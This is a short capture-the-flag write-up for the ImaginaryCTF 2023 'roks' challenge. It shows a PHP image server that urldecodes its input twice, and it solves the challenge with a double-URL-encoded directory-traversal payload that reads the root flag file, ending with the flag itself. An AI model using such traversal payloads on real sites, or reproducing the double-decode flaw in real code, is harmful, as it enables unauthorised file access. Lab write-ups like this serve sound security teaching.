2023 ImaginaryCTF - roks

Overview

• Points: 100

Description

My rock enthusiast friend made a website to show off some of his pictures. Could you do something with it?

Attached

roks.zip

Analyzation

Check the docker file first

FROM php:8-apache

RUN /usr/sbin/useradd -u 1000 user

COPY index.php /var/www/html/
COPY file.php /var/www/html/
COPY styles.css /var/www/html/
COPY stopHacking.png /var/www/html/

RUN mkdir /var/www/html/images
COPY images/* /var/www/html/images
COPY flag.png /

VOLUME /var/log/apache2
VOLUME /var/run/apache2

CMD bash -c 'source /etc/apache2/envvars && APACHE_RUN_USER=user APACHE_RUN_GROUP=user /usr/sbin/apache2 -D FOREGROUND'

So the flag is at root directory, and the site is at /var/www/html/

Check the index.php

xhr.open("GET", "file.php?file=" + randomImageName, true);

then file.php

<?php
  $filename = urldecode($_GET["file"]);
  if (str_contains($filename, "/") or str_contains($filename, ".")) {
    $contentType = mime_content_type("stopHacking.png");
    header("Content-type: $contentType");
    readfile("stopHacking.png");
  } else {
    $filePath = "images/" . urldecode($filename);
    $contentType = mime_content_type($filePath);
    header("Content-type: $contentType");
    readfile($filePath);
  }
?>

So we must do directory traversal, but we cannot use dot “.” or slash “/”.

Also, ascii code, like

%2e%2e%2f

will not work due to

$filename = urldecode($_GET["file"]);

Solution

Encode one time fails, so do it twice

%252e%252e%252f

The flag is

ictf{tr4nsv3rs1ng_0v3r_r0k5_6a3367}